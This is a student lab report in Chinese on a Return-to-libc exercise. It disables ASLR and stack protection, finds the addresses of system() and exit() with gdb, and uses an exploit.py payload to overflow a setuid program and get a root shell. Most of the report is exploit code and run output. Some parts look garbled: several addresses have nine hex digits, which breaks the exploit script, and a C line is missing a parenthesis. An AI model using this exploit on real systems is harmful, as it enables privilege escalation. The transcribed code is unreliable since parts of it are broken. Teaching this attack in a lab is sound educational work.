

Return-to-libc攻击实验报告

姓名：57119132 汪奥杰

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实验目标

实验室环境建立

1. 关闭地址随机化

```
sudo sysctl -w kernel.randomize_va_space=0
```

2. 编译时禁用StackGuard保护方案

```
gcc -m32 -fno-stack-protector example.c
```

3. 编译时设置为非可执行堆栈

```
gcc -m32 -z noexecstack -o test test.c
```

4. 禁用/bin/sh保护

```
sudo ln -sf /bin/zsh /bin/sh
```

脆弱程序

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer);
    printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep);

    strcpy(buffer, str);
```

```

        return 1;
    }

void foo(){
    static int i = 1;
    printf("Function foo() is invoked %d times\n", i++);
    return;
}

int main(int argc, char **argv)
{
    char input[1000];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    int length = fread(input, sizeof(char), 1000, badfile);
    printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input);
    printf("Input size: %d\n", length);

    bof(input);

    printf("(^.^)(^.^) Returned Properly (.^.^)(^.^)\n";
    return 1;
}

```

在 Labsetup 文件夹下执行指令：

```
make
```

```
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
```

实验任务

1. 任务一：找出 libc 函数的地址

执行以下指令：

```

touch badfile
gdb -q retlib
(gdb-peda$) break main
(gdb-peda$) run
(gdb-peda$) p system
(gdb-peda$) p exit
(gdb-peda$) quit

```

```

[07/13/21]seed@VM:~/.../Labsetup$ touch badfile
[07/13/21]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal
. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a litera
l. Did you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ break main
Breakpoint 1 at 0x12ef
gdb-peda$ run
Starting program: /home/seed/Return-to-LIBC Attack Lab (32-bit)/Labs
etup/retlib
[-----registers-----]
-----]
EAX: 0xf7fb6808 --> 0xfffffd1bc --> 0xfffffd392 ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0x7f2a96dd
EDX: 0xfffffd144 --> 0x0
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0x0
ESP: 0xfffffd11c --> 0xf7debee5 (<_libc_start_main+245>: add
esp,0x10)
EIP: 0x565562ef (<main>: endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT directio
n overflow)
[-----code-----]
-----]
0x565562ea <foo+58>: mov     ebx,DWORD PTR [ebp-0x4]
0x565562ed <foo+61>: leave
0x565562ee <foo+62>: ret
=> 0x565562ef <main>: endbr32
0x565562f3 <main+4>: lea     ecx,[esp+0x4]
0x565562f7 <main+8>: and    esp,0xffffffff0
0x565562fa <main+11>: push   DWORD PTR [ecx-0x4]
0x565562fd <main+14>: push   ebp
[-----stack-----]
-----]
0000| 0xfffffd11c --> 0xf7debee5 (<_libc_start_main+245>: add
esp,0x10)
0004| 0xfffffd120 --> 0x1
0008| 0xfffffd124 --> 0xfffffd1b4 --> 0xfffffd354 ("/home/seed/Return-t
o-LIBC Attack Lab (32-bit)/Labsetup/retlib")
0012| 0xfffffd128 --> 0xfffffd1bc --> 0xfffffd392 ("SHELL=/bin/bash")
0016| 0xfffffd12c --> 0xfffffd144 --> 0x0
0020| 0xfffffd130 --> 0xf7fb4000 --> 0x1e6d6c
0024| 0xfffffd134 --> 0xf7ffd000 --> 0x2bf24
0028| 0xfffffd138 --> 0xfffffd198 --> 0xfffffd1b4 --> 0xfffffd354 ("/hom
e/seed/Return-to-LIBC Attack Lab (32-bit)/Labsetup/retlib")
[-----]
-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit

```

```
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ quit
```

任务二：将shell字符串放入内存

执行以下指令：

```
export MYSHELL=/bin/sh
env | grep MYSHELL
```

编写以下文件 prtenv.c：

```
#include <stdlib.h>
#include <stdio.h>

void main(){
    char* shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}
```

将其编译为二进制文件 prtenv：

```
gcc -m32 -fno-stack-protector -z noexecstack -o prtenv prtenv.c
```

执行指令：

```
prtenv
```

```
[07/13/21]seed@VM:~/.../Labsetup$ prtenv
fffffd3b3
```

任务三：发起攻击

修改文件 exploit.py：

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xfffffd3b3      # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420    # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80      # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
```

```
with open("badfile", "wb") as f:  
    f.write(content)
```

执行指令：

```
./retlib
```

```
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib  
Address of input[] inside main(): 0xffffcd70  
Input size: 0  
Address of buffer[] inside bof(): 0xffffcd40  
Frame Pointer value inside bof(): 0xffffcd58  
(^_^)(^_) Returned Properly (^_*)(^_*)
```

ebp 距离 buffer 的距离为24，于是设定：

```
X = 36  
Y = 28  
Z = 32
```

执行以下指令：

```
./exploit.py  
./retlib
```

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py  
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib  
Address of input[] inside main(): 0xffffcd70  
Input size: 300  
Address of buffer[] inside bof(): 0xffffcd40  
Frame Pointer value inside bof(): 0xffffcd58  
# █
```

攻击变体1：注释 exploit.py 文件中的 exit 部分，再次执行以上指令，发现不影响输入指令，但是在退出时会出现分段错误。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py  
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib  
Address of input[] inside main(): 0xffffcd70  
Input size: 300  
Address of buffer[] inside bof(): 0xffffcd40  
Frame Pointer value inside bof(): 0xffffcd58  
# exit  
Segmentation fault
```

攻击变体2：修改 retlib 文件名为 newretlib，再次执行以上指令，发现执行失败，原因是 MYSHELL 变量是以6位为标准的，现将程序名称改为9位字符，导致地址发生变化，因此无法输入指令。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py  
[07/13/21]seed@VM:~/.../Labsetup$ ./newretlib  
Address of input[] inside main(): 0xffffcd60  
Input size: 300  
Address of buffer[] inside bof(): 0xffffcd30  
Frame Pointer value inside bof(): 0xffffcd48  
zsh:1: command not found: h
```

